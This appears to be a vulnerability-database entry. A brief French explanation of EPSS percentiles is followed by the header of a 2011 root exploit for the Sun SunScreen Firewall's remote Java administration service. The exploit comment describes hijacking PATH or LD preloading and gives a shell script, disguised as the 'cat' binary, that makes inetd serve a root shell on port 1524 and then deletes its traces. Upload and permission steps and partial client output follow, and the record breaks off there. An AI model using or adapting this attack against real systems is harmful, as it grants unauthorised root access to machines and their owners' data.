Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* Sun Microsystems SunScreen Firewall Root Exploit discovered & exploited by Kingcope January 2011 The SunScreen Firewall can be administrated remotely via a java protocol service which is running on port 3858 on a SunOS machine. This Java Service contains numerous buffer overruns (2 of which I am aware of). Furthermore it is possible to execute arbitrary code if an attacker manages to upload a file onto the target system. As you can see in the following java exploit code the environment is not properly sanitized prior to executing shell scripts as root, thus one can use the LD technique to preload binaries or even easier modify the PATH variable to forge the ´cat´ binary (which is executed by lib/screenname) to be executed in a different place. This can be exploited locally - remotely especially if anonymous ftp uploads are possible or any other file transfer protocol is activated. Uploading a file via the line printer daemon might also be possible. This has been tested on a SunOS 5.9. The shell script to be forged as the ´cat´ binary.. #!/bin/sh echo "ingreslock stream tcp nowait root /bin/sh sh -i">/tmp/x; /usr/sbin/inetd -s /tmp/x; /bin/rm -f /tmp/x echo "+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++" #--- upload above shell script to /PATH/cat chmod a+x /PATH/cat supply target and PATH envvar to exploit Opens a root shell on port 1524/tcp (ingreslock) A successfull exploit looks like $ java SimpleClient ? ??ð? &Connection accepted, no authentication¶?
